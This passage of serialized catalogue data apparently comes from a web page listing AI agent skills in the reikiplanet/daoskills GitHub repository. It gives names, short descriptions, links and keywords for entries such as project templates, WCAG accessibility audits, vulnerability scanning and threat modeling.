requirements.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fvr-ar\u002FSKILL.md",[],[116,117,107,118,119,41,97,98,99,93,120,94],"ar","vr ar","interaction","requirements","performance",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":51},"01M6G60XNMHAMV1SV0EJ1CX0AY","templates","Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Ftemplates\u002FSKILL.md",[],[123,128,129,130,131,132,41,133,99,134,135,93],"project scaffolding","From Scratch","tech","project","scaffolding","use","projects","applications",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":142,"publishedAt":51},"01M6G60T0GATMK3Q5H8GDC1Z8S","wcag-audit-patterns","Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and remediation guidance. Use when auditing websites for accessibility, fixing WCAG violations, or implementing ac...","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fwcag-audit-patterns\u002FSKILL.md",[],[143,144,145,146,147,41,148,149,150,151,133,152,153,154,38],"wcag audit patterns","wcag audit","patterns","WCAG","audit","manual","with","automated testing","guidance","remediation","verification","accessibility",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":161,"publishedAt":51},"01M6G60PMCHW1FRZ63F931QK3R","vulnerability-scanner","Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fvulnerability-scanner\u002FSKILL.md",[],[162,163,164,165,166,167,168,169,41,99,93,170,94,171,172,173,174,50,175,176],"scanner","vulnerability scanner","vulnerability","prioritization","2025","mapping","chain","supply chain","Bash","analysis","risk","owasp","supply chain security","supply","advanced",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":183,"publishedAt":51},"01M6G60JZBB8DK0W3DSG1WNMZK","threat-modeling-expert","Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use for security architecture r...","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fsecurity\u002Fthreat-modeling-expert\u002FSKILL.md",[],[184,185,186,187,188,189,190,191,50,133,192,193,194,41,195,196,197,172,198,199],"modeling","threat modeling expert","threat modeling","expert","threat","risk assessment","architecture review","architecture","security architecture review","trees","security architecture","security requirement extraction","assessment","extraction","review","stride"]